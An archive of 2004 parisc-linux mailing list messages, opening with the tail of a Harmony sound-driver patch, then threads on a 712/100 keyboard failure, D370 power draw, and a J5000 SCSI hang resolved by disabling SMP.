-	substream->runtime->dma_private = harmony->fake_pci_dev;
-//	substream->dma_type = SNDRV_PCM_DMA_TYPE_PCI;
-	
 	harmony->playback_substream = substream;
 	runtime->hw = snd_card_harmony_playback;
 	snd_pcm_hw_constraint_list(runtime, 0, SNDRV_PCM_HW_PARAM_RATE, &hw_constraint_rates);
@@ -732,14 +706,6 @@ static int snd_card_harmony_capture_open
 	snd_pcm_runtime_t *runtime = substream->runtime;
 	int err;
 	
-	
-	/*
-	 * harmony is not "real" pci, but we need a pci_dev
-	 * to alloc PCI DMA pages
-	 */
-	substream->runtime->dma_private = harmony->fake_pci_dev;
-//	substream->dma_type = SNDRV_PCM_DMA_TYPE_PCI;
-
 	harmony->capture_substream = substream;
 	runtime->hw = snd_card_harmony_capture;
 	snd_pcm_hw_constraint_list(runtime, 0, SNDRV_PCM_HW_PARAM_RATE, &hw_constraint_rates);
@@ -752,7 +718,6 @@ static int snd_card_harmony_capture_open
 static int snd_card_harmony_playback_close(snd_pcm_substream_t * substream)
 {
 	snd_card_harmony_t *harmony = snd_pcm_substream_chip(substream);
-	snd_pcm_lib_free_pages(substream);
 	
 	harmony->playback_substream = NULL;
 	harmony->ply_size 			= 0;
@@ -769,8 +734,6 @@ static int snd_card_harmony_capture_clos
 {
 	snd_card_harmony_t *harmony = snd_pcm_substream_chip(substream);
 	
-	snd_pcm_lib_free_pages(substream);
-	
 	harmony->capture_substream = NULL;
 	harmony->cap_size 			= 0;
 	harmony->cap_buf			= 0;
@@ -785,12 +748,11 @@ static int snd_card_harmony_capture_clos
 static int snd_card_harmony_hw_params(snd_pcm_substream_t *substream, 
 	                   snd_pcm_hw_params_t * hw_params)
 {
-	snd_pcm_runtime_t *runtime = substream->runtime;
 	int err;
 	
 	err = snd_pcm_lib_malloc_pages(substream, params_buffer_bytes(hw_params));
 	DPRINTK(KERN_INFO PFX "HW Params returned %d, dma_addr %lx\n", err,
-			(unsigned long)runtime->dma_addr);
+			(unsigned long)substream->runtime->dma_addr);
 	return err;
 }
 
@@ -847,15 +809,19 @@ static int snd_card_harmony_pcm_init(snd
 	harmony->pcm = pcm;
 	
 	/* initialize graveyard buffer */
-	harmony->dma_dev.type = SNDRV_DMA_TYPE_PCI;
-	harmony->dma_dev.dev = snd_dma_pci_data(harmony->fake_pci_dev); 
-	harmony->graveyard_addr = snd_dma_alloc_pages(&chip->dma_dev,
-			HARMONY_BUF_SIZE*GRAVEYARD_BUFS, &harmony->graveyard_dma);
+	harmony->dma_dev.type = SNDRV_DMA_TYPE_DEV;
+	harmony->dma_dev.dev = &harmony->pa_dev->dev;
+	err = snd_dma_alloc_pages(&harmony->dma_dev, HARMONY_BUF_SIZE*GRAVEYARD_BUFS,
+				  &harmony->graveyard_dma);
+	if (err < 0)
+		return err;
 	harmony->graveyard_count = 0;
 	
 	/* initialize silence buffers */
-	harmony->silence_addr = snd_dma_alloc_pages(&chip->dma_dev,
-			HARMONY_BUF_SIZE*SILENCE_BUFS, &harmony->silence_dma);
+	err = snd_dma_alloc_pages(&harmony->dma_dev, HARMONY_BUF_SIZE*SILENCE_BUFS,
+				  &harmony->silence_dma);
+	if (err < 0)
+		return err;
 	harmony->silence_count = 0;
 
 	harmony->ply_stopped = harmony->cap_stopped = 1;
@@ -865,8 +831,8 @@ static int snd_card_harmony_pcm_init(snd
 	harmony->graveyard_count = 0;
 	
 	snd_pcm_lib_preallocate_pages_for_all(pcm, SNDRV_DMA_TYPE_DEV,
-					      snd_dma_pci_data(harmony->fake_pci_dev),
-					      64 * 1024, 128 * 1024);
+					      &harmony->pa_dev->dev,
+					      MAX_BUFFER_SIZE, MAX_BUFFER_SIZE);
 
 	return 0;
 }
@@ -963,7 +929,7 @@ HARMONY_VOLUME("Master Volume", 20, 20, 
 HARMONY_VOLUME("PCM Playback Volume", 6, 0, 0x3f, 1),
 };
 
-static void snd_harmony_reset_codec(snd_card_harmony_t *harmony)
+static void __init snd_harmony_reset_codec(snd_card_harmony_t *harmony)
 {
  	snd_harmony_wait_cntl(harmony);
 	gsc_writel(1, harmony->hpa+REG_RESET);
@@ -985,7 +951,7 @@ static void __init snd_harmony_mixer_res
 }
 
 
-int __init snd_card_harmony_mixer_init(snd_card_harmony_t *harmony)
+static int __init snd_card_harmony_mixer_init(snd_card_harmony_t *harmony)
 {
 	snd_card_t *card = harmony->card;
 	int idx, err;
@@ -1009,10 +975,11 @@ static int snd_card_harmony_create(snd_c
 	
 	harmony->card = card;
 	
+	harmony->pa_dev = pa_dev;
+
 	/* Set the HPA of harmony */
 	harmony->hpa = pa_dev->hpa;
 	
-
 	harmony->irq = pa_dev->irq;
 	if (!harmony->irq) {
 		printk(KERN_ERR PFX "no irq found\n");
@@ -1038,8 +1005,6 @@ static int snd_card_harmony_create(snd_c
 		return -EBUSY;
 	}
 	
-	/* a fake pci_dev is needed for pci_* functions under ccio */
-	harmony->fake_pci_dev = ccio_get_fake(pa_dev);
 	return 0;
 }
 	
@@ -1050,7 +1015,7 @@ static int __init snd_card_harmony_probe
 	snd_card_t *card;
 	int err;
 	
-    if (dev >= SNDRV_CARDS)
+	if (dev >= SNDRV_CARDS)
 		return -ENODEV;
 	if (!enable[dev]) {
 		dev++;
@@ -1064,6 +1029,8 @@ static int __init snd_card_harmony_probe
 	if (card == NULL)
 		return -ENOMEM;
 	chip = (struct snd_card_harmony *)card->private_data;
+	spin_lock_init(&chip->control_lock);
+	spin_lock_init(&chip->mixer_lock);
 	
 	if ((err = snd_card_harmony_create(card, pa_dev, chip)) < 0) {
 		printk(KERN_ERR PFX "Creation failed\n");
@@ -1144,7 +1111,6 @@ static void __exit alsa_card_harmony_exi
 		{	
 			DPRINTK(KERN_INFO PFX "Freeing card %d\n", idx);
 			harmony = snd_harmony_cards[idx]->private_data;
-			snd_harmony_proc_done(harmony);
 			free_irq(harmony->irq, snd_card_harmony_interrupt);
 			printk(KERN_INFO PFX "Card unloaded %d, irq=%d\n", idx, harmony->irq);
 			snd_card_free(snd_harmony_cards[idx]);

--------------000509060400010703070606
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------000509060400010703070606--



From - Thu Nov 08 21:32:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712/100 keyboard not working in 2.6.6-pa2?
Date: Tue, 18 May 2004 09:06:29 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20040518130629.GE27929@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623446 9406 80.91.229.3 (22 Nov 2014 02:30:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16198 invoked by uid 65534); 18 May 2004 13:07:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx045) with SMTP; 18 May 2004 15:07:03 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1B3AC3BDD3; Tue, 18 May 2004 07:06:34 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id ECB953BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 May 2004 07:06:30 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BQ4If-0002vz-00 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 May 2004 09:06:29 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (66% Sync Ratio [=======...])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21637


pa,

I just rebooted my 712/100 with a 2.6.6-pa2 kernel and my keyboard
(PS/2) no longer works The keyboard works in firmware, as I have to
issue "bo lan" to boot my kernel. The keyboard doesn't work in both the
console and X.

Anyone running a 712/100 in 2.6.6 without issues?

Maybe I should just purge my .config and see what happens.

*shrug*

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian Barber" <brianbarber@myrealbox.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/100 keyboard not working in 2.6.6-pa2?
Date: Tue, 18 May 2004 09:38:39 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <1084887519.d79829dcbrianbarber@myrealbox.com>
Reply-To: brianbarber@linux.ca
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623447 9409 80.91.229.3 (22 Nov 2014 02:30:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22259 invoked by uid 65534); 18 May 2004 13:39:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx013) with SMTP; 18 May 2004 15:39:01 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A300F3BDD7; Tue, 18 May 2004 07:38:40 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-send.myrealbox.com (smtp-send.myrealbox.com
	[192.108.102.143])
	by free.linux.hp.com (Postfix) with ESMTP id 9FAAC3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 May 2004 07:38:38 -0600 (MDT)
Original-Received: from brianbarber [192.197.71.189] by myrealbox.com
	with NetMail ModWeb Module; Tue, 18 May 2004 09:38:39 -0400
X-Mailer: NetMail ModWeb Module
X-Sender: brianbarber
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21638

I'm running a 712/80 at home.  I'll try a new kernel in the next couple of =
days and let you know.

BB

-----Original Message-----
From: Carlos O'Donell <carlos@baldric.uwo.ca>
To: parisc-linux@lists.parisc-linux.org
Date: Tue, 18 May 2004 09:06:29 -0400
Subject: [parisc-linux] 712/100 keyboard not working in 2.6.6-pa2?


pa,

I just rebooted my 712/100 with a 2.6.6-pa2 kernel and my keyboard
(PS/2) no longer works The keyboard works in firmware, as I have to
issue "bo lan" to boot my kernel. The keyboard doesn't work in both the
console and X.

Anyone running a 712/100 in 2.6.6 without issues?

Maybe I should just purge my .config and see what happens.

*shrug*

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] D370 questions
Date: Tue, 18 May 2004 15:23:50 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20040518212350.GC17051@colo.lackof.org>
References: <Pine.LNX.4.58.0405181414490.30894@brain.fop.ns.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623447 9411 80.91.229.3 (22 Nov 2014 02:30:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Steve Bromwich <hppa@fop.ns.ca>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30352 invoked by uid 65534); 18 May 2004 21:24:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx015) with SMTP; 18 May 2004 23:24:17 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 852F13BDEC; Tue, 18 May 2004 15:23:56 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 919CA3BDE1
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 May 2004 15:23:53 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 2769B298038; Tue, 18 May 2004 15:23:51 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 18419-09; Tue, 18 May 2004 15:23:50 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7A4A8298028; Tue, 18 May 2004 15:23:50 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0405181414490.30894@brain.fop.ns.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21639

On Tue, May 18, 2004 at 02:49:30PM -0300, Steve Bromwich wrote:
> Does anyone have any figures on how much power it really draws?

sorry no

> According to the sticker on the back it draws 9.2A@100V which sounds...
>  excessive, even with the 5
> drives in there. If I yank out some of the unnecessary cards (SCSI2 card,
> display card, what looks like a token ring card) will that make a
> noticeable difference to the draw?

I doubt scsi/token ring will draw that much power.
CPU, memory, disk drives, and high perf gfx cards are typically
consuming the most power.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Elliott Potter <mailinglist@eep.burdell.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Success! [Was: SCSI hang in 2.6.6-pa4]
Date: Fri, 21 May 2004 17:23:20 -0500 (EST)
Lines: 69
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0405211711030.1564@trillian.uni>
References: <Pine.LNX.4.58.0405191939460.30587@trillian.uni>
	<40AC8294.7030303@tiscali.be>
	<Pine.LNX.4.58.0405202222240.18175@trillian.uni>
	<40ADCA04.10502@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623447 9415 80.91.229.3 (22 Nov 2014 02:30:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 11171 invoked by uid 65534); 21 May 2004 21:25:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx018) with SMTP; 21 May 2004 23:25:23 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id F36A63BE02; Fri, 21 May 2004 15:25:12 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from trillian.uni (dsl027-162-176.atl1.dsl.speakeasy.net
	[216.27.162.176])
	by free.linux.hp.com (Postfix) with ESMTP id E4C8C3BDF6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 May 2004 15:25:10 -0600 (MDT)
Original-Received: from trillian.uni (localhost [127.0.0.1])
	by trillian.uni (8.12.11/8.12.11) with ESMTP id i4LMNKQD002268
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 May 2004 17:23:20 -0500
Original-Received: from localhost (epotter@localhost)
	by trillian.uni (8.12.11/8.12.11/Submit) with ESMTP id i4LMNKoJ002265
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 May 2004 17:23:20 -0500
X-Authentication-Warning: trillian.uni: epotter owned process doing -bs
X-X-Sender: epotter@trillian.uni
In-Reply-To: <40ADCA04.10502@tiscali.be>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21640

On Fri, 21 May 2004, Joel Soete wrote:

> >>>[...]
> >>>I've got a J5000 that appeared to work mostly OK under 2.4.25-pa.
> >>>I just put 2.6.6-pa4 on there and when I boot, the machine hangs:
> >>> [...]
> >>umm 32bit or 64bit kernel?
> >
> > 32 bit?  I assume.  If it was 64 bit it wasn't on purpose.  Under CPU
> > selection I chose the PA7000 option (or whatever the first one on the
> > list was).
> >
> >
> >>>[...]
> >>>sym0: <896> rev 0x4 at pci 0000:00:0f.0 irq 65
> >>>sym0: No NVRAM, ID 7, Fast-40, SE, parity checking
> >>>sym0: SCSI BUS has been reset.
> >>>scsi0 : sym-2.1.18j
> >>>sym0:0:0: ABORT operation started.
> >>>sym0:0:0: ABORT operation timed-out.
> >>>sym0:0:0: DEVICE RESET operation started.
> >>>sym0:0:0: DEVICE RESET operation timed-out.
> >>>sym0:0:0: BUS RESET operation started.
> >>>sym0:0:0: BUS RESET operation timed-out.
> >>>sym0:0:0: HOST RESET operation started.
> >>>sym0: SCSI BUS has been reset.
> >>><hang>
> >>>
> > [...]
> well ok, may be try first the same default config file
> (c3000_defconfig) as I decribe above (may be just unselect
> 64bit option in
> CPU sub-menu with 'make menuconfig' if you don't want 64bit)
> and certainly not smp (smp is not yet ready for 2.6 on hppa) !!!

I was about to try the c3000_defconfig but on a whim I turned off the
SMP option, turned on SCSI verbose error logging for good measure,
recompiled, and presto!  It appears to work.  This leaves me with two
questions:

1) No SMP?  <pout>I want my SMP!</pout> :)  ... or in the form of a
question: is this something that's going to work maybe in a bit but not
for now, or is it just broken beyond all patience?  Just wondering.
Come to think of it, I had SMP turned on with the 2.4.25-pa0 kernel and
it appeared to work OK, but I was getting some odd data corruption.
Maybe that was the cause?  Are you wondering how I've gone from two
questions to four while I'm still on question 1?  :)

2) I'm a bit confused on the whole 64 bit thing.  I've been selecting
the PA7000 CPU option on kernel configs for the various machines I have
(j5k, c3k, c360) because when I picked PA8*00 I was getting lots of
weird errors regarding modules - I assumed that was an issue with 64
bits, and I also was under the impression from recent posts that 64 bit
kernels aren't quite right yet.  Right?  Or is that just userland?
Granted I don't think I have any real need for a 64 bit kernel, but just
wondering.  What I really want is one modular kernel config I can use
for the three machines.


Thanks again everyone for the help.  Glad to have the machine running
again.
--
Elliott
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Success! [Was: SCSI hang in 2.6.6-pa4]
Date: Fri, 21 May 2004 18:07:59 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <20040522000759.GA25166@colo.lackof.org>
References: <Pine.LNX.4.58.0405191939460.30587@trillian.uni>
	<40AC8294.7030303@tiscali.be>
	<Pine.LNX.4.58.0405202222240.18175@trillian.uni>
	<40ADCA04.10502@tiscali.be>
	<Pine.LNX.4.58.0405211711030.1564@trillian.uni>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623448 9416 80.91.229.3 (22 Nov 2014 02:30:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Elliott Potter <mailinglist@eep.burdell.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 11996 invoked by uid 65534); 22 May 2004 00:08:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx043) with SMTP; 22 May 2004 02:08:16 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DA8A43BE06; Fri, 21 May 2004 18:08:03 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 7777C3BDF6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 May 2004 18:08:01 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 87CE329804B; Fri, 21 May 2004 18:08:00 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 24899-10; Fri, 21 May 2004 18:07:59 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C2BA3298039; Fri, 21 May 2004 18:07:59 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0405211711030.1564@trillian.uni>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21641

On Fri, May 21, 2004 at 05:23:20PM -0500, Elliott Potter wrote:
> 1) No SMP?  <pout>I want my SMP!</pout> :)
>   ... or in the form of a
> question: is this something that's going to work maybe in a bit but not
> for now, or is it just broken beyond all patience?  Just wondering.

It should work in the "near future".
As usual, 32-bit SMP seems to work but it's not well tested.

> 2) I'm a bit confused on the whole 64 bit thing.  I've been selecting
> the PA7000 CPU option on kernel configs for the various machines I have
> (j5k, c3k, c360) because when I picked PA8*00 I was getting lots of
> weird errors regarding modules - I assumed that was an issue with 64
> bits, and I also was under the impression from recent posts that 64 bit
> kernels aren't quite right yet.  Right?

64-bit SMP didn't work for me. Otherwise, 64-bit UP works fine.
But none of the workstations you listed above require 64-bit
and thus I don't reccomend it unless you have more than 4GB RAM.

>  Or is that just userland?
> Granted I don't think I have any real need for a 64 bit kernel, but just
